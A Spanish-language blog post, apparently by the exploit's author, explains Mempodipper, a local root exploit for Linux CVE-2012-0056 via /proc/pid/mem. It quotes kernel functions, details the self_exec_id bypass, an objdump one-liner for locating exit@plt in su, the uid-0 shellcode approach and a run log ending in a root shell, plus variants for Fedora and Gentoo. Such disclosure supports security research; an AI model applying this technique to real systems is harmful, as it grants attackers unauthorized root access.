
escalada de privilegios en Linux
Presentamos Mempodipper, un exploit para CVE-2012-0056. /proc/pid/mem es una interfaz para leer y escribir directamente en la memoria de un proceso, desplazándose por las mismas direcciones que el espacio de memoria virtual del proceso. En 2.6.39, las protecciones contra el acceso no autorizado a /proc/pid/mem se consideraron suficientes, por lo que el #ifdef anterior que impedía la escritura en la memoria arbitraria de procesos se eliminó. Cualquiera con los permisos adecuados podía escribir en la memoria de un proceso. Resulta, por supuesto, que la comprobación de permisos estaba mal hecha. Esto significa que todos los kernels de Linux >=2.6.39 son vulnerables, hasta el commit que lo corrige de hace un par de días. Repasemos el antiguo código del kernel paso a paso y veamos cuál es el problema.
Cuando se abre /proc/pid/mem, se llama al siguiente código del kernel:
static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
/* OK to pass negative loff_t, we can catch out-of-range */
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}
No hay restricciones para abrirlo; cualquiera puede abrir el /proc/pid/mem fd de cualquier proceso (sujeto a las restricciones VFS ordinarias). Simplemente registra el self_exec_id del proceso original con el que se abrió y lo guarda para verificarlo después durante las lecturas y escrituras.
Sin embargo, las escrituras (y las lecturas) tienen restricciones de comprobación de permisos. Echemos un vistazo a la función de escritura:
static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
/* unimportant code removed for blog post */
struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
/* unimportant code removed for blog post */
mm = check_mem_permission(task);
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
/* unimportant code removed for blog post */
if (file->private_data != (void *)((long)current->self_exec_id))
goto out_mm;
/* unimportant code removed for blog post
* (the function here goes onto write the buffer into the memory)
*/
Así pues, hay dos comprobaciones relevantes para impedir escrituras no autorizadas: check_mem_permission y self_exec_id. Primero la primera y después la segunda.
El código de check_mem_permission simplemente llama a __check_mem_permission, así que este es su código:
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;
mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);
/*
* A task can always look at itself, in case it chooses
* to use system calls instead of load instructions.
*/
if (task == current)
return mm;
/*
* If current is actively ptrace'ing, and would also be
* permitted to freshly attach with ptrace now, permit it.
*/
if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}
/*
* No one else is allowed.
*/
mmput(mm);
return ERR_PTR(-EPERM);
}
Hay dos formas de autorizar la escritura en memoria. O bien task == current, es decir, el proceso al que se escribe es el mismo proceso que escribe, o bien current (el proceso que escribe) tiene permisos esotéricos a nivel de ptrace para manipular a task (el proceso al que se escribe). ¿Quizá crees que puedes engañar al código de ptrace? Es tentador. Pero no lo sé. Mejor averigüemos cómo podemos hacer que un proceso escriba memoria arbitraria en sí mismo, de modo que task == current.
Ahora, naturalmente, queremos escribir en la memoria de los procesos suid, porque así podemos obtener root. Miremos esto:
$ su "yeeeee haw I am a cowboy"
Unknown id: yeeeee haw I am a cowboy
su escupirá en stderr el texto que quieras, prefijado por "Unknown id:". Así que podemos abrir un fd a /proc/self/mem, hacer lseek al lugar correcto de la memoria para escribir (más sobre esto luego), usar dup2 para emparejar stderr con el fd de mem, y después exec a su $shellcode para escribir un lanzador de shell en la memoria del proceso, y entonces tenemos root. ¿De verdad? No tan fácil.
Aquí entra en juego la otra restricción. Después de pasar la prueba task == current, comprueba si el self_exec_id actual coincide con el self_exec_id con el que se abrió el fd. ¿Qué demonios es self_exec_id? Solo se referencia en unos pocos sitios del kernel. El más importante está dentro de exec:
void setup_new_exec(struct linux_binprm * bprm)
{
/* massive amounts of code trimmed for the purpose of this blog post */
/* An exec changes our domain. We are no longer part of the thread
group */
current->self_exec_id++;
flush_signal_handlers(current, 0);
flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);
self_exec_id se incrementa cada vez que un proceso hace exec. En este caso, funciona para que no puedas abrir el fd en un proceso no suid, hacer dup2 y luego exec a un proceso suid... que es exactamente lo que intentábamos hacer antes. Una forma bastante ingeniosa de frustrar nuestro ataque, ¿eh?
Así se sortea. Hacemos fork de un hijo y, dentro de ese hijo, hacemos exec a un proceso nuevo. El hijo inicial tras el fork tiene un self_exec_id igual al de su padre. Cuando hacemos exec a un proceso nuevo, self_exec_id se incrementa en uno. Mientras tanto, el propio padre está ocupado haciendo exec a nuestro proceso su que escribe el shellcode, de modo que su self_exec_id se incrementa al mismo valor. Así que lo que hacemos es lo siguiente: hacemos fork del hijo y exec a un proceso nuevo y, dentro de ese proceso nuevo, abrimos un fd a /proc/parent-pid/mem usando el pid del proceso padre, no el nuestro (como ocurría antes). Podemos abrir el fd de esta manera porque un simple open no tiene comprobación de permisos. Cuando se abre, su self_exec_id ya se ha incrementado al valor correcto que tendrá el self_exec_id del padre cuando hagamos exec a su. Finalmente, pasamos el fd abierto del proceso hijo de vuelta al proceso padre (usando algo de magia muy oscura de unix domain sockets), hacemos nuestro dup2 y hacemos exec a su con el shellcode.
Queda una objeción. ¿Dónde escribimos? Tenemos que hacer lseek a la ubicación de memoria adecuada antes de escribir, y ASLR aleatoriza los espacios de direcciones de los procesos, haciendo imposible saber dónde escribir. ¿Deberíamos dedicar tiempo a ingeniárnoslas para leer la memoria del proceso y luego realizar una búsqueda? No. Mira esto:
$ readelf -h /bin/su | grep Type
Type: EXEC (Executable file)
Esto significa que su no tiene una sección .text reubicable (de lo contrario mostraría "DYN" en lugar de "EXEC"). Resulta que su en la gran mayoría de las distros no está compilado con PIE, lo que desactiva ASLR para la sección .text del binario. Así que hemos elegido su sabiamente. Los offsets en memoria serán siempre los mismos. Entonces, para encontrar el lugar correcto donde escribir, veamos el ensamblador que rodea la impresión del mensaje de error "Unknown id: blabla".
Obtiene la cadena de error aquí:
403677: ba 05 00 00 00 mov $0x5,%edx
40367c: be ff 64 40 00 mov $0x4064ff,%esi
403681: 31 ff xor %edi,%edi
403683: e8 e0 ed ff ff callq 402468 (dcgettext@plt)
Y luego la escribe en stderr:
403688: 48 8b 3d 59 51 20 00 mov 0x205159(%rip),%rdi # 6087e8 (stderr)
40368f: 48 89 c2 mov %rax,%rdx
403692: b9 20 88 60 00 mov $0x608820,%ecx
403697: be 01 00 00 00 mov $0x1,%esi
40369c: 31 c0 xor %eax,%eax
40369e: e8 75 ea ff ff callq 402118 (__fprintf_chk@plt)
Cierra el log:
4036a3: e8 f0 eb ff ff callq 402298 (closelog@plt)
Y entonces sale del programa:
4036a8: bf 01 00 00 00 mov $0x1,%edi
4036ad: e8 c6 ea ff ff callq 402178 (exit@plt)
Por lo tanto, queremos usar 0x402178, que es la función exit a la que llama. En un exploit, podemos automatizar la búsqueda del símbolo exit@plt con un sencillo one-liner de bash:
$ objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x402178
Así que, naturalmente, queremos escribir en 0x402178 menos el número de letras de la cadena "Unknown id: ", para que nuestro shellcode quede colocado exactamente en el lugar correcto.
El shellcode debe ser simple y estándar. Establece el uid y el gid a 0 y hace exec a un shell. Si queremos ser ingeniosos, podemos reabrir stderr eligiendo, antes de hacer dup2 del fd de memoria a stderr, otro fd al que duplicar stderr, y luego, en el shellcode, hacemos dup2 de ese otro fd de vuelta a stderr.
Al final, el exploit funciona de maravilla con total fiabilidad:
CVE-2012-0056 $ ls
build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s
CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
CVE-2012-0056 $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root
sh-4.2#
Puedes ver un video de su funcionamiento.
Gracias a Dan Rosenberg por su continuo consejo y apoyo. Actualmente no estoy publicando ningún código fuente, ya que Linus muy recientemente lo parchó. Cuando pase un tiempo responsable o si alguien más lo hace primero, lo publicaré. Si eres un estudiante que intenta aprender cosas o tienes motivos legítimos, podemos hablar.
Actualización: evidentemente, y de forma irónica, a raíz de esta entrada del blog, otras personas crearon exploits y los publicaron. Así que, aquí está el mío. Escribí el shellcode para 32 bits y 64 bits a mano. ¡Disfrútalo!
Actualización 2: resulta que Fedora compila muy acertadamente su su con PIE, lo que neutraliza este ataque. Desafortunadamente, no compila todos sus binarios SUID con PIE, por lo que este ataque sigue siendo posible con, por ejemplo, gpasswd. El código para hacerlo está en la rama "fedora" del repositorio git, y también hay disponible una demostración en video.
Actualización 3: Gentoo es lo bastante inteligente como para eliminar los permisos de lectura de los binarios SUID, lo que hace imposible encontrar el offset de exit@plt con objdump. Encontré otra forma de hacerlo usando ptrace. Ptrace permite depurar cualquier programa en memoria. Para los programas SUID, hacer ptrace eliminará sus privilegios, pero no importa, ya que simplemente queremos encontrar ubicaciones de memoria internas. Analizando el opcode del binario en el momento adecuado, podemos descifrar la dirección objetivo de la siguiente llamada después de la impresión del mensaje de error. He creado una utilidad independiente que devuelve el offset, además de integrarla en el código fuente principal de mempodipper.
{Como siempre, este trabajo es estrictamente académico y no está pensado para usarse más allá de la investigación y la educación.}